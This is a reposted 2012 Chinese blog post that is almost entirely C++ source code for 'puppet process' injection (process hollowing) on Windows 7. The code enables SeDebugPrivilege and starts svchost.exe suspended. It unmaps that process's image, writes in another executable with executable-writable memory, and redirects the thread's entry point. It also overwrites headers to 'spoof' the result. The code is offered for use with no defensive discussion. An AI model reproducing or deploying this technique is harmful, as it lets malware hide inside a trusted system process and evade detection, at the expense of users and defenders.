注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

BCB-DG's Blog

...

 
 
 

日志

 
 

win7 傀儡進程  

2012-07-12 09:28:12|  分类: Delphi |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
//轉
//VC-Win32
#define _WIN32_WINNT 0x0501
#define WIN32_LEAN_AND_MEAN
#pragma comment(lib,"ntdll.lib")
#include <vector>  //sprintf
#include <stdio.h>  //garbage 1
#include <windows.h> //garbage 2
#include <ntstatus.h> //return codes
#include <ntsecapi.h> //NTSTATUS

#define TARGETS_0  "svchost.exe\0"
extern "C"
{
PIMAGE_NT_HEADERS __stdcall RtlImageNtHeader( IN PVOID ModuleAddress );
NTSTATUS __stdcall NtGetContextThread( IN HANDLE ThreadHandle, OUT PCONTEXT pContext );
NTSTATUS __stdcall NtReadVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, OUT PVOID Buffer, IN ULONG NumberOfBytesToRead, OUT PULONG NumberOfBytesReaded OPTIONAL );
NTSTATUS __stdcall NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN ULONG NumberOfBytesToWrite, OUT PULONG NumberOfBytesWritten OPTIONAL );
NTSTATUS __stdcall NtProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PULONG NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection );
NTSTATUS __stdcall NtSetContextThread( IN HANDLE ThreadHandle, IN PCONTEXT Context );
NTSTATUS __stdcall NtResumeThread( IN HANDLE ThreadHandle, OUT PULONG SuspendCount OPTIONAL );
NTSTATUS __stdcall ZwUnmapViewOfSection( IN HANDLE  ProcessHandle, IN PVOID  BaseAddress );
};
char target[MAX_PATH];
void  __stdcall set_target(void)
{
  srand(GetCurrentProcessId());
  switch( 0 )
  {
  default:
  case 0:  sprintf(target,TARGETS_0);break;

  }
}
void  __stdcall GainPrivileges(void)
{
  HANDLE hToken;
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
  LUID luid;
  LookupPrivilegeValueA(NULL,"SeDebugPrivilege",&luid);
  TOKEN_PRIVILEGES tp;
  tp.PrivilegeCount   = 1;
  tp.Privileges[0].Luid  = luid;
  tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),FALSE,FALSE);
  CloseHandle(hToken);
}
void  __stdcall fork_system_file(void* file)
{
  STARTUPINFO   si;
  PROCESS_INFORMATION pi;
  SECURITY_ATTRIBUTES st;
  SECURITY_ATTRIBUTES sp;
  memset(&si,0,sizeof(STARTUPINFO));
  memset(&pi,0,sizeof(PROCESS_INFORMATION));
  memset(&st,0,sizeof(SECURITY_ATTRIBUTES));
  memset(&sp,0,sizeof(SECURITY_ATTRIBUTES));
  si.cb = sizeof(STARTUPINFO);
  set_target();
  GainPrivileges();
  //create our target
  CreateProcessA(
   0,
   target,
   &st,
   &sp,
   1,
   CREATE_SUSPENDED,
   0,
   0,
   &si,
   &pi
  );
        //get usefull
        HANDLE _hProcess = pi.hProcess;
        HANDLE _hThread  = pi.hThread;
        CONTEXT context  = {CONTEXT_FULL};
        NtGetContextThread(_hThread, &context);
        PVOID x;
        NtReadVirtualMemory(_hProcess,PCHAR(context.Eax), &x, sizeof(x), 0);
        ZwUnmapViewOfSection(_hProcess,x);

        //get pe of the ressource
        PIMAGE_DOS_HEADER mz;
        *(void**)&mz = reinterpret_cast<PIMAGE_DOS_HEADER>(file);
        if(!mz) FatalAppExitA(0,"! IMAGE_NT_HEADERS");
      
        PIMAGE_NT_HEADERS pe;
        *(void**)&pe = RtlImageNtHeader(file);
        if(!pe) FatalAppExitA(0,"! IMAGE_NT_HEADERS");
        //alloc it
        void* newbase;
        newbase = VirtualAllocEx(
            _hProcess,
            PVOID(pe->OptionalHeader.ImageBase),
            pe->OptionalHeader.SizeOfImage,
            MEM_RESERVE|MEM_COMMIT,
            PAGE_READWRITE
            );
        NtWriteVirtualMemory(
            _hProcess,
            newbase,
            file,
            pe->OptionalHeader.SizeOfHeaders,
            0
            );
        PIMAGE_SECTION_HEADER sect = IMAGE_FIRST_SECTION(pe);
        for ( unsigned long i = 0; i < pe->FileHeader.NumberOfSections; i++ )
        {
            //edit all
            unsigned long oldprot;
            NtWriteVirtualMemory(
                _hProcess,
                PCHAR(newbase) + sect[i].VirtualAddress,
                PCHAR(file)    + sect[i].PointerToRawData,
                sect[i].SizeOfRawData,
                0
                );   
            NtProtectVirtualMemory(
                _hProcess,
                (void**)PCHAR(newbase) + sect[i].VirtualAddress,
                &sect[i].Misc.VirtualSize,
                PAGE_EXECUTE_READWRITE,
                &oldprot
                );   
        }
        DWORD  wrote;            
        DWORD* pebInfo = (DWORD*)context.Ebx;
        NtWriteVirtualMemory(_hProcess,&pebInfo[2],&newbase,sizeof(DWORD),&wrote);
        unsigned long entrypoint;
        entrypoint     = ULONG(newbase) + pe->OptionalHeader.AddressOfEntryPoint;
        context.Eax    = context.Eip = entrypoint;
        context.SegGs  = 0;
        context.SegFs  = 0x38;
        context.SegEs  = 0x20;
        context.SegDs  = 0x20;
        context.SegSs  = 0x20;
        context.SegCs  = 0x18;
        context.EFlags = 0x3000;
        //spoof some stuff
        NtWriteVirtualMemory(_hProcess,&entrypoint,new BYTE[sizeof(DWORD)],sizeof(DWORD),0);
        NtWriteVirtualMemory(_hProcess,mz,new BYTE[sizeof IMAGE_DOS_HEADER],sizeof(PIMAGE_DOS_HEADER),0);
        NtWriteVirtualMemory(_hProcess,pe,new BYTE[sizeof IMAGE_NT_HEADERS],sizeof(PIMAGE_NT_HEADERS),0);
        //resume process
        NtSetContextThread(_hThread,&context);
        NtResumeThread(_hThread,0);
}


int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hinstPrev, LPSTR lpszCmdLine, int nCmdShow)
{
  HANDLE hFile = NULL;   
hFile = ::CreateFile( "test3.exe"  
  , GENERIC_READ   
  , 0   
  , NULL   
  , OPEN_EXISTING   
  , FILE_ATTRIBUTE_NORMAL   
  , NULL   
  );   
if( hFile == INVALID_HANDLE_VALUE )
{
  MessageBox(0,"找不到文件","ff",0);
  return -1;   
}

::SetFilePointer( hFile, 0, NULL, FILE_BEGIN);   
DWORD dwFileSize = ::GetFileSize( hFile, NULL);   

LPBYTE pBuf = new BYTE[dwFileSize];   
memset( pBuf, 0, dwFileSize);   

DWORD dwNumberOfBytesRead = 0;   
::ReadFile( hFile   
  , pBuf   
  , dwFileSize   
  , &dwNumberOfBytesRead   
  , NULL   
  );   

::CloseHandle(hFile);
    fork_system_file(pBuf );
    return 0;
}
  评论这张
 
阅读(1225)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017